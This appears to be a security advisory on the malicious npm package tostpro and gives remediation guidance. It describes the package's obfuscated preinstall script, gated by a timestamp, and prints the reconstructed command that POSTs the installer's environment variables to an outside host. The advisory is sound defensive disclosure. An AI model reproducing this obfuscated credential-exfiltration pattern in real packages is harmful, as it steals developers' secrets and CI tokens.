tostpronpm
Advisory published Updated
tostpro is a confirmed malicious npm package (MAL-2026-17564) that steals credentials and exfiltrates sensitive data (malicious versions 100.2.0, 100.6.0, 100.7.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in tostpro (npm)
What this malware does
The npm package [email protected] ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on npm install. The script assembles the command curl and the data source env from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into dom=https://abbishal. plus tld=com, reconstructing them at runtime as $i$h$l -d "$b$s$a" $dom$tld/sh/poc. Execution is gated by if [ date +%s -gt 1791141300 ] (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of env — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for tostpro (3 malicious versions).
If you installed it — respond
tostpro is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If tostpro was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks tostpro-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.